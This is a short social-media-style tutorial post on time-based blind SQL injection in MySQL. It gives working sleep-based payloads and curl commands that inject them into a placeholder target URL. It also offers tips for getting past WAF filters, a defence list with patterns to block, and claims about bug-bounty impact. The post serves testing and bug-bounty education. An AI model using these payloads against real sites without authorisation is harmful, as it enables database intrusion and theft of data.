SQL Injection: Time-Based Blind Detection Payload

SQL Injection: Time-Based Blind Detection Payload

Time-based blind SQL injection is one of the most reliable techniques when no data is reflected in the response. Instead of seeing output, you measure how long the server takes to respond — if it sleeps, the injection worked.

🔥 The Payload

'%2b(select*from(select(sleep(5)))a)%2b'

URL Decoded:

'+(select*from(select(sleep(5)))a)+'

What It Does:

• %2b = + (URL encoded)
• sleep(5) → Forces the database to pause for 5 seconds
• If the response takes ~5 seconds → SQL injection confirmed
• If instant → Not vulnerable or filtered

🛠 How It Works

Breaking It Down:

'+(select*from(select(sleep(5)))a)+'

1. ' → Closes the original string in the query
2. + → String concatenation (MySQL)
3. (select*from(select(sleep(5)))a) → Subquery that executes sleep(5)
4. a → Alias for the subquery result (required by MySQL)
5. + → Concatenation back to the original query

Result: The database executes sleep(5) and the HTTP response is delayed by 5 seconds.

💡 Why This Technique Matters

▫️ Blind Detection → Works even when no data is shown
▫️ Reliable Signal → Time difference is clear and measurable
▫️ Bypasses Filters → Less likely to trigger basic WAF rules than UNION-based payloads
▫️ Works on MySQL/MariaDB → Common in PHP/WordPress targets

⚡️ Testing Methodology

Step 1: Baseline Response Time

curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/product?id=1"

Note the normal response time (e.g., 0.3s)

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Step 2: Inject Time-Based Payload

curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/product?id=1'%2b(select*from(select(sleep(5)))a)%2b'"

Step 3: Compare Times

• Normal: ~0.3s
• Injected: ~5.3s → Vulnerable!

🎯 Variations for Different Databases

MySQL Alternative (Cleaner):

' AND SLEEP(5)-- -

' OR SLEEP(5)-- -

🛡 How to Defend Against This

1. Parameterized Queries → Use prepared statements everywhere
2. Input Validation → Reject unexpected characters like ', +, (
3. WAF Rules → Block sleep(, benchmark(, pg_sleep patterns
4. Least Privilege → Database user should not have unnecessary permissions
5. Rate Limiting → Limit repeated requests with suspicious payloads

💰 Bug Bounty Impact

🔸 Critical Severity → Full database access possible
🔸 Data Exfiltration → Dump credentials, PII, financial data
🔸 Chain Potential → SQLi → File Read → RCE
🔸 High Bounties → SQLi remains one of the most rewarded vulnerabilities

🔔 Follow @cybersecplayground for more SQLi and web security techniques!

✅ Like & Share if you found SQLi with this payload! 🚀

#SQLi #SQLInjection #BugBounty #WebSecurity #CyberSecurity #InfoSec #PenTesting #Hacking #TimeBasedBlind

⚠️ Pro Tip: Always test both SLEEP() and BENCHMARK()—some WAFs block one but not the other. Also try different sleep durations (3s, 5s, 10s) to confirm the delay is intentional!